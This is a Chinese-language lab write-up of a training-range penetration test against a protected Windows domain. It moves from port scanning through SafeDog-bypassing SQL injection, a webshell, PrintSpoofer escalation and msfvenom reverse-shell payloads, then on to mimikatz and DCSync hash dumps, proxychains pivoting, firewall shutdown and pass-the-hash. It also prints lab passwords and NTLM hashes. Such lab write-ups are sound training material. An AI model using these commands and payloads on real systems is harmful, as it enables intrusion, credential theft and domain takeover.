1. 1. 打靶日记(四)渗透有防护的内网域
  2. 2. 1.环境说明
    1. 2.1. 1.1文章说明
    2. 2.2. 1.2靶场搭建
      1. 2.2.1. 1.3靶场拓扑图
  3. 3. 2.测试过程
    1. 3.1. 2.1netdiscover探测内网
    2. 3.2. 2.2. 服务器端口扫描
      1. 3.2.1. 2.2.1masscan 扫描
      2. 3.2.2. 2.2.2nmap 探测端口信息
      3. 3.2.3. 2.2.3美化 nmap 报告结果
    3. 3.3. 2.3绑定hosts域名
    4. 3.4. 2.4目录扫描
      1. 3.4.1. 2.4.1.python 编程简单的目录扫描脚本
    5. 3.5. 2.5siteserver 漏洞利用
    6. 3.6. 2.6绕过安全狗注入
    7. 3.7. 2.7反编译.net dll 文件
    8. 3.8. 2.8. 编写 c# siteserver 密文解密工具 在 dnSpy
    9. 3.9. 2.9. 找回密码漏洞
    10. 3.10. 2.10 siteserver 后台 getshell
    11. 3.11. 2.11Windows Server 2016 提权
      1. 3.11.1. 2.11.1. Windows Server 2016 信息收集
      2. 3.11.2. 2.11.2PrintSpoofer 提权 Windows Server 2016
    12. 3.12. 2.12. msf shellcode 绕过 windows defender 查杀
      1. 3.12.1. 2.12.1Msf生成payload
      2. 3.12.2. 2.12.3msf 监听
      3. 3.12.3. 2.12.4. 得到 session
    13. 3.13. 2.13. 收集 hash 明文
    14. 3.14. 2.14. ntml 破解
    15. 3.15. 2.16. 登录远程桌面
    16. 3.16. 2.17内网渗透
    17. 3.17. 2.18.WEB服务器信息收集
    18. 3.18. 2.19跨网段横行渗透
      1. 3.18.1. 2.19.1内网 ping 协议发现主机
      2. 3.18.2. 2.19.2msf arp 发现主机
      3. 3.18.3. 2.19.3msf socks5 proxychains 穿透内网
      4. 3.18.4. 2.19.4proxychains nmap 扫描内网
      5. 3.18.5. 2.19.5proxychains 调用火狐访问内网
      6. 3.18.6. 2.19.6通达上传漏洞 GETSHEL
      7. 3.18.7. 2.19.7. 配置中国蚁剑代理内网连接 shell
      8. 3.18.8. 2.19.8收集 oa 服务器信息
      9. 3.18.9. 2.19.9命令行关闭 Windows Firewall
      10. 3.18.10. 2.19.10免杀过 360 全家桶
      11. 3.18.11. 2.19.11msf 正向链接oa
    19. 3.19. 2.20.内网域渗透
      1. 3.19.1. 2.20.1. 定位域控
      2. 3.19.2. 2.20.2跨网段探测 DC 端口
      3. 3.19.3. 2.21.kiwi域管ntml
    20. 3.20. 2.22Pth攻击
    21. 3.21. 2.23ntml登录破解

打靶日记(四)渗透有防护的内网域

打靶日记(四)渗透有防护的内网域

声明:此系列文章系个人记录打靶过程的文章,靶场为暗月师傅的靶场。这是第四篇。

1.环境说明

1.1文章说明

这个靶场是 attack,是 moonsec 培训用的一个靶场,因为是视频教学,所以 本文是技术文档,过程不会太详细说明,可能会让萌新产生难以理解,如需学习 整套体系可以联系暗月学习。这个靶场目标是获取域控下的 flag.txt,想要获取域 控的最终 flag 需要运用很多技能,如果能把这个靶场通关了,去任何一家安全公 司做红队测试应该不是什么问题

1.2靶场搭建

1.3靶场拓扑图

image

2.测试过程

2.1netdiscover探测内网

1
netdiscover -i eth0 -r 192.168.8.0/24

image

1
netdiscover -i eth0 -r 192.168.8.0/24

2.2. 服务器端口扫描

2.2.1masscan 扫描

因为服务器上安全防护软件尽量把 rate 的值调低掉调大可能会被封

1
masscan 192.168.8.114 -p 1-65535 --rate=100

image

2.2.2nmap 探测端口信息

1
nmap -sV -p 3389,5985,6588,999,21,80 -A 192.168.8.114 -oA p7-attack-ports

image

2.2.3美化 nmap 报告结果

1
xsltproc -o attack.html mode.xsl p7-attack-ports.xml

mode.xsl 是报告的模板

attack.html 是美化后的报告结果

attack-ports.xml 这是 nmap 保存的结果

image

2.3绑定hosts域名

这个靶场 web 服务器的域名是 www.moonlab.com 在 hosts 绑定对应的 IP 方能访问 web 服务。

linux 系统 /etc/hosts

1
2
3
windows C:\Windows\System32\drivers\etc\hosts
192.168.8.114 www.moonlab.com
绑定后访问

image

2.4目录扫描

因为目上有防火墙所以先把线程调低并发请求过多,会当作 cc 攻击拉黑处理。一般被拉黑就要等十分钟后再扫描。

image

2.4.1.python 编程简单的目录扫描脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#conding:utf-8 
import requests
import time
with open('big.txt', 'r',encoding='UTF-8') as readfile:
for dirs in readfile.readlines():
url = 'http://www.moonlab.com/'+dirs.strip('\n')
resp = requests.get(url)
strlen = len(resp.text)
print(url+'--'+str(resp.status_code)+'---len--'+str(strlen))
time.sleep(0.5)
if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 301 or resp.status_code == 500:
with open('write.txt', 'a', encoding='UTF-8') as writefile:
writefile.write(url+'--'+str(resp.status_code)+'---len--'+str(strlen)+'\n')
writefile.close()

image

image

弄了个脚本扫描出来存在 http://www.moonlab.com/siteserver

image

2.5siteserver 漏洞利用

siteserver 曾经爆出过很多漏洞,而且当前的版本比较低,直接用扫描器打。可

以都被防护软件链接了,估计是请求较多,语句具有一定危险性都 被拦截了。

需要更改脚本。https://github.com/johnniesong/w9scan/blob/master/plugins/2739.py

这个是 siteserver 检测脚本,自己修改一下。

image

2.6绕过安全狗注入

安全狗会对常规的 SQL 注入会进行拦截

image

 

image

数据库版本

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNa meCollection=test%27)%20and%20~1=@@version;%20—

Microsoft SQL Server 2008 R2 (SP2)

数据库名

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNa meCollection=test%27)%20and%20~1=db_name();%20—

msmoonlab

用户 密码 key

用户 admin

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20username%20from%20[bairong_Administrator]);%20--

密文 64Cic1ERUP9n2OzxuKl9Tw==

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20password%20from%20[bairong_Administrator]);%20--

key LIywB/zHFDTuEA1LU53Opg==

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20PasswordSalt%20from%20[bairong_Administrator]);%20--

image


账号

密文

Key

admin

64Cic1ERUP9n2OzxuKl9Tw==

LIywB/zHFDTuEA1LU53Opg==

 

2.7反编译.net dll 文件

反编译 dll 主要用来查看网站的源码,这里主要是找到用户的加密方法。

siteserver/login.aspx 找到对应的 dll 文件位置

<%@ Page Language=”C#” Inherits=”UserCenter.Pages.LoginPage” %>

通过 dnSpy反编译得到加密文件

2.8. 编写 c# siteserver 密文解密工具 在 dnSpy

存在解密源码 DesDecrypt 方法

2.9. 找回密码漏洞

2.10 siteserver 后台 getshell

在后台导入模板上传 zip 文件 即可获取一个 webshell,因为存在安全狗普通的 shell 和一句话都会被拦截,所以这使用暗月内部的过狗刀。

image

image

2.11Windows Server 2016 提权

2.11.1. Windows Server 2016 信息收集

查看当前用户 名字 和 ip 信息

image

 查看进程 服务器 收集安全防护软件信息

image

存在的防护软件

1. iis 安全狗

2. 服务器安全狗

3. windows firewall

4. windows defender

 

2.11.2PrintSpoofer 提权 Windows Server 2016

工具下载地址 https://github.com/itm4n/PrintSpoofer

当前权限是 system 服务器上装有多个防护 服务器安全狗,增加用户会被拦截。

最好是直接上远控,但是 windows server 2016 自带杀软 defender 远控或者

shellode 都会被查杀,所以要做免杀处理。

2.12. msf shellcode 绕过 windows defender 查杀

2.12.1Msf生成payload

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.133 LPORT=2333 -e x86/shikata_ga_nai -i 25 -f csharp -o payload.txt

image

2.12.3msf 监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.8.133
set lport 2333
run -j

2.12.4. 得到 session

1
C:\Windows\Tasks\PrintSpoofer1.exe -i -c "C:\Windows\Tasks\msf.exe"

image

 迁移进程后 做后渗透处理

2.13. 收集 hash 明文

在 msf load mimikatz 无法获取明文,hash 允许获取

image

下面简单的介绍一下神器的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
cls-----------------------------清屏
exit----------------------------退出
version------------查看mimikatz的版本
system::user-----查看当前登录的系统用户
system::computer-------查看计算机名称
process::list------------------列出进程
process::suspend 进程名称 -----暂停进程
process::stop 进程名称---------结束进程
process::modules --列出系统的核心模块及所在位置
service::list---------------列出系统的服务
service::remove-----------移除系统的服务
service::start stop 服务名称--启动或停止服务
privilege::list---------------列出权限列表
privilege::enable--------激活一个或多个权限
privilege::debug-----------------提升权限
nogpo::cmd------------打开系统的cmd.exe
nogpo::regedit -----------打开系统的注册表
nogpo::taskmgr-------------打开任务管理器
ts::sessions-----------------显示当前的会话
ts::processes------显示进程和对应的pid情况等
sekurlsa::wdigest-----获取本地用户信息及密码
sekurlsa::tspkg------获取tspkg用户信息及密码
sekurlsa::logonPasswords--获登陆用户信息及密码

2.14. ntml 破解

1
2
Administrator ntml e7114141b0337bdce1aedf5594706205 
在 somd5 得到明文

image

1
2
3
4
5
6
hashat 字典破解 ntml
hashcat -a 0 -m 1000 hash.txt big.txt –show
-a 0 字典模式
-m 是类型
hash.txt 是 ntml
rockyou 是字典

image

2.16. 登录远程桌面

image

在目标将下面的这个打勾去掉即可

image

连接成功

image

2.17内网渗透

2.18.WEB服务器信息收集

IP 192.168.0.114 10.10.1.131

账号信息 Administrator !@#QWE123

目前渗透的进度

image

2.19跨网段横行渗透

2.19.1内网 ping 协议发现主机

对 10.10.1.0/24 进行横向渗透首先获取这个段下的 pc

查询 10.10.1.0/24 存活的 IP

1
for /l %i in (1,1,255) do @ ping 10.10.1.%i    -w   1 -n 1 | find /i "ttl="

image

2.19.2msf arp 发现主机

1
run arp_scanner -r 10.10.1.0/24

image

在实际的内网渗透中,我们可以直接添加到 0.0.0.0/24的路由,这样,只要该被控主机可达的地址就都可达!

2.19.3msf socks5 proxychains 穿透内网

1
2
3
4
5
6
msf 添加路由 
run autoroute -s 10.10.1.0/24
background
use auxiliary/server/socks_proxy
set srvport 3333
run

image

1
vim /etc/proxychains4.conf

image

2.19.4proxychains nmap 扫描内网

1
proxychains nmap -sT -Pn 10.10.1.130 -p80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389 –open

image

目前只能访问 80 端口 估计是做了端口访问控制

2.19.5proxychains 调用火狐访问内网

proxychains firefox 10.10.1.130 -p80

image

2.19.6通达上传漏洞 GETSHEL

访问端口发现是通达 os 网络智能办公系统

image

 

放到脚本中

image

1
proxychains python tongda-exp.py -H http://10.10.1.130

使用python2运行,拿到一个cmdshell

image

生成小马到系统中

1
proxychains python tongda-exp.py -H http://10.10.1.130 -file-shell

image

2.19.7. 配置中国蚁剑代理内网连接 shell

连接地址:http://10.10.1.130/ispirit/interface/404.php

设置代理

image

image

2.19.8收集 oa 服务器信息

收集整理有用的信息 操作的时候小心,尽量避免打草惊蛇。

当前是系统权限 system

image

在运行的服务

image

image

进程列表

image

image

端口连接信息

image

网卡信息

image

信息整理

oa 服务器存在两个 IP 分别是 10.10.1.130 10.10.10.166

防护软件 内置系统防火墙 Windows Firewall 360 安全卫士 360

协议 本地地址 外部地址 状态 PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
2308

TCP

0.0.0.0:110

0.0.0.0:0

LISTENING

 

1704

TCP

0.0.0.0:135

0.0.0.0:0

LISTENING

 

620

TCP

0.0.0.0:445

0.0.0.0:0

LISTENING

 

4

TCP

0.0.0.0:1188

0.0.0.0:0

LISTENING

 

3844

TCP

0.0.0.0:3336

0.0.0.0:0

LISTENING

 

1372

TCP

0.0.0.0:5985

0.0.0.0:0

LISTENING

 

4

TCP

0.0.0.0:8750

0.0.0.0:0

LISTENING

 

2308

TCP

0.0.0.0:47001

0.0.0.0:0

LISTENING

 

4

TCP

0.0.0.0:49152

0.0.0.0:0

LISTENING

436

 

TCP

0.0.0.0:49153

0.0.0.0:0

LISTENING

788

 

TCP

0.0.0.0:49154

0.0.0.0:0

LISTENING

536

 

TCP

0.0.0.0:49155

0.0.0.0:0

LISTENING

824

 

TCP

0.0.0.0:61195

0.0.0.0:0

LISTENING

528

 

TCP

0.0.0.0:61436

0.0.0.0:0

LISTENING

536

 

TCP

0.0.0.0:61454

0.0.0.0:0

LISTENING

1284

 

 

 

2.19.9命令行关闭 Windows Firewall

1
NetSh Advfirewall set allprofiles state off

image

image

现在可以访问除 80 以外的端口,可以正向连接 oa 服务器 再进行其他操作深入的操作。

2.19.10免杀过 360 全家桶

生成正向连接 shellcode

1
msfvenom -p windows/meterpreter/bind_tcp LPORT=9872 -e x86/shikata_ga_nai -i 25 -f csharp -o payload2.txt

再用工具免杀 上传到 oa 服务器上执行 再查看进行是否被 360 查

image

2.19.11msf 正向链接oa

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.1.130
set lport 9872
run -j

image

image

得到 oa 的 seesion 接下来就是收集服务器信息了。

网卡信息

image

1
hashdump

image

image

把信息收集完毕接下来就是进行内网域控的渗透。

2.20.内网域渗透

目前渗透进度 web 服务器到 oa 办公系统服务器下一步进行域控的渗透。

目前 oa 办公的权限是 system 权限较高

image

2.20.1. 定位域控

在使用命令的期间发现 session 多次失败,可以确定 web 服务器有些防护软件会对操作进行拦截

image

run post/windows/gather/enum_domain

发现蓝屏了

image

再测试一次成功了

1
run post/windows/gather/enum_domain

image

(发现进程迁移之后,执行run post的命令会离线或者蓝屏)

登录的用户

1
run post/windows/gather/enum_logged_on_users

image

组的信息

1
2
run post/windows/gather/enum_ad_groups
net group "domain admins" /domain

image

进程存在域管理员

image

2.20.2跨网段探测 DC 端口

1
run autoroute -s 10.10.10.0/24

image

1
proxychains nmap -sT -Pn 10.10.10.165 -p80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,88,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389 –open

image

3389 端口是开放的 445 也是开放的

 

2.21.kiwi域管ntml

获取域控的权限

因为系统权限是看不到域管理员的ntlm,所以需要迁移进程到域用户启动的进程下

steal_token 4548

image

查看域控管理员的hash

1
2
3
4
5
6
meterpreter > dcsync_ntlm administrator
[+] Account : administrator
[+] NTLM Hash : f0656e74c0c8b23b49dc65c630a500d0
[+] LM Hash : 1d0291463377c361ea7e94f36f8a7ab2
[+] SID : S-1-5-21-4052809752-717748265-227546684-500
[+] RID : 500

image

1
2
3
4
5
6
7
dcsync_ntlm krbtgt  (krbtgt这个用户做黄金票据的时候用到)
meterpreter > dcsync_ntlm krbtgt
[+] Account : krbtgt
[+] NTLM Hash : 67446f76100703cc0866cb7167cca084
[+] LM Hash : c7192cc0c2c01aee95bc9a98664ed15b
[+] SID : S-1-5-21-4052809752-717748265-227546684-502
[+] RID : 502

image

拿到ntlm可以使用hash来进行登录

 

使用hash登录,445端口是开放的,所以可以使用smb进行尝试登录

1
2
3
4
use exploit/windows/smb/psexec
set rhosts 10.10.10.165
set smbpass f0656e74c0c8b23b49dc65c630a500d0
set smbuser administrator

image

制作pth登录,因为自带的mimikatz没有pth,所以我们上传一个到服务器在命令行下执行

生成key.snk

 

2.22Pth攻击

1
2
3
4
kerberos::pth /user:administrator /domain:attack /ntlm:f0656e74c0c8b23b49dc65c630a500d0
使用mimikatz先获取hash:
privilege::debug
sekurlsa::logonpasswords

image

得到hash后

image

1
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ccef208c6485269c20db2cad21734fe7

可以看到NTML hash已经对workgroup使用,这样的话访问远程主机或服务,就不用提供明文密码

image

pass the hash成功~

 

 

2.23ntml登录破解

https://www.cmd5.com/

image

image

image

image